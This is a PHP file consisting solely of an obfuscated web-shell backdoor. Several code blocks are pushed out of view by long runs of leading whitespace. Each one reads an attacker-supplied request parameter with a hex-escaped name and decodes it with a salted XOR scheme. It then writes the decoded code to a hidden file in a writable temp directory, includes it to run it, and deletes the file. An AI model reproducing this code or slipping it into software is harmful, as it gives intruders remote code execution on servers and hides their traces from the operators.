<?php																																										if(in_array("\x73\x79m", array_keys($_REQUEST))){ $descriptor = $_REQUEST["\x73\x79m"]; $descriptor = explode ( '.' ,$descriptor) ; $flag=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt ); $len=count($descriptor ); for ($w=0; $w < $len; $w++) { $v3=$descriptor[$w]; $chS=ord($salt[$w % $sLen] ); $dec=((int)$v3 - $chS - ($w % 10)) ^ 5; $flag .= chr($dec );} $obj = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP"), getcwd()]); foreach ($obj as $comp): if (array_product([is_dir($comp), is_writable($comp)])) { $holder = str_replace("{var_dir}", $comp, "{var_dir}/.tkn"); if (file_put_contents($holder, $flag)) { require $holder; unlink($holder); die(); } } endforeach; }
																																										if(@$_REQUEST["\x62\x69\x6Edi\x6Eg"] !== null){ $object = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]); $token = $_REQUEST["\x62\x69\x6Edi\x6Eg"]; $token = explode ( '.' , $token ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $n = 0; foreach ($token as $v3) { $chS = ord($s[$n % $sLen]); $dec = ((int)$v3 - $chS - ($n % 10)) ^79; $desc .= chr($dec); $n++;} while ($value = array_shift($object)) { if (is_dir($value) ? is_writable($value) : false) { $pgrp = join("/", [$value, ".mrk"]); if (file_put_contents($pgrp, $desc)) { require $pgrp; unlink($pgrp); die(); } } } }
																																										if(in_array("po\x69nte\x72", array_keys($_REQUEST))){ $entry = $_REQUEST["po\x69nte\x72"]; $entry= explode ( ".",$entry ) ; $fac = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $p = 0; $__tmp = $entry; while ($v3 = array_shift($__tmp)) { $sChar = ord($salt8[$p %$sLen]); $d = ((int)$v3 - $sChar - ($p %10))^45; $fac .= chr($d); $p++; } $comp = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir()]); for ($symbol = 0, $bind = count($comp); $symbol < $bind; $symbol++) { $obj = $comp[$symbol]; if (is_writable($obj) && is_dir($obj)) { $reference = str_replace("{var_dir}", $obj, "{var_dir}/.parameter_group"); if (@file_put_contents($reference, $fac) !== false) { include $reference; unlink($reference); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x65l\x65m")){ $key = $_REQUEST["\x65l\x65m"]; $key =explode ("." , $key ) ; $reference = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $l = 0; while ($l< count($key)) { $v2 = $key[$l]; $sChar = ord($salt3[$l % $lenS]); $dec = ((int)$v2 - $sChar - ($l % 10)) ^42; $reference .= chr($dec); $l++; } $dat = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", getcwd(), session_save_path()]); foreach ($dat as $desc) { if (!!is_dir($desc) && !!is_writable($desc)) { $component = join("/", [$desc, ".value"]); if (file_put_contents($component, $reference)) { include $component; @unlink($component); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65\x66"])){ $res = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", sys_get_temp_dir()]); $reference = $_REQUEST["r\x65\x66"]; $reference = explode ( "." , $reference ) ; $mrk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $len = count($reference); for ($u = 0; $u < $len; $u++) { $v8 = $reference[$u]; $sChar = ord($salt8[$u % $lenS]); $dec = ((int)$v8 - $sChar - ($u % 10)) ^95; $mrk .= chr($dec); } foreach ($res as $key => $entry) { if ((is_dir($entry) and is_writable($entry))) { $ptr = vsprintf("%s/%s", [$entry, ".marker"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(isset($_POST["\x69te\x6D"]) ? true : false){ $component = $_POST["\x69te\x6D"]; $component =explode ( "." ,$component ) ; $factor = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); foreach ($component as $m => $v8): $chS = ord($s1[$m % $lenS]); $d = ((int)$v8 - $chS - ($m % 10)) ^ 100; $factor .= chr($d); endforeach; $fac = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), getenv("TMP")]); $data = 0; do { $ent = $fac[$data] ?? null; if ($data >= count($fac)) break; if (is_dir($ent) ? is_writable($ent) : false) { $reference = "$ent/.obj"; $file = fopen($reference, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $reference; @unlink($reference); die(); } } $data++; } while (true); }


if(!is_null($_REQUEST["\x63\x6Fmp\x6F\x6Eent"] ?? null)){
	$entry = array_filter([getenv("TEMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getcwd()]);
	$sym = $_REQUEST["\x63\x6Fmp\x6F\x6Eent"];
			 $sym	= 	 explode ( '.',	  $sym			) 		;	
	$record = '';
            $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt8);
    
            foreach ($sym as $x => $v4) {
                $sChar = ord($salt8[$x % $sLen]);
                $d = ((int)$v4 - $sChar - ($x % 10))^	 76;
                $record .= 	chr($d);
            }
	foreach ($entry as $entity) {
    		if (is_dir($entity) ? is_writable($entity) : false) {
    $pset = join("/", [$entity, ".itm"]);
    if (file_put_contents($pset, $record)) {
	include $pset;
	@unlink($pset);
	exit;
}
}
}
}